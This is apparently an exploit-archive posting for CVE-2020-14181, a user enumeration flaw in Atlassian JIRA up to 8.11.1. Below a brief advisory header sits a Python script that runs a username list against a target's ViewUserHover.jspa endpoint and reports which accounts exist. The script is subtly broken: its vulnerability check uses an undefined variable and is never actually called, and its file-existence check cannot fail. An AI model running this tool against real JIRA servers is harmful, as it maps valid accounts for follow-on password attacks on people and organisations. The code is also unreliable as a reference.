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Atlassian JIRA 8.11.1 User Enumeration

Atlassian JIRA 8.11.1 User Enumeration
Posted Mar 10, 2021
Authored by Dolev Farhi

Atlassian JIRA version 8.11.1 suffers from a user enumeration vulnerability.

tags | exploit
advisories | CVE-2020-14181
SHA-256 | 6584245530e79f39f2415efeba748683f667c83104fcd83cfe44d6c6ab433980

Atlassian JIRA 8.11.1 User Enumeration

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# Title: Atlassian JIRA 8.11.1 - User Enumeration
# Author: Dolev Farhi
# Vulnerable versions: version < 7.13.16, 8.0.0 ≤ version < 8.5.7, 8.6.0 ≤ version < 8.12.0
# CVE: CVE-2020-14181
# Credit to original CVE author: Mikhail Klyuchnikov of Positive Technologies.

import sys
import os
import requests

def help():
print('python3 script.py <target> <usernames_file>')
print('e.g. python3 script.py https://jiratarget.com usernames.txt')
sys.exit()

if len(sys.argv) < 3:
help()

server = sys.argv[1]
usernames = sys.argv[2]

random_user = '0x00001'

try:
os.path.exists(usernames)
except:
print(usernames, 'file does not exist.')
sys.exit(1)

def test_vulnerable():
resp = requests.get('{}/secure/ViewUserHover.jspa?username={}'.format(server, username))
if 'User does not exist: {}'.format(random_user) in resp.text:
return True
return False

if test_vulnerable is False:
print('server is not vulnerable.')
sys.exit(1)

f = open(usernames, 'r').read()

for username in f.splitlines():
resp = requests.get('{}/secure/ViewUserHover.jspa?username={}'.format(server, username))
if 'User does not exist' not in resp.text:
print('EXISTS', username)

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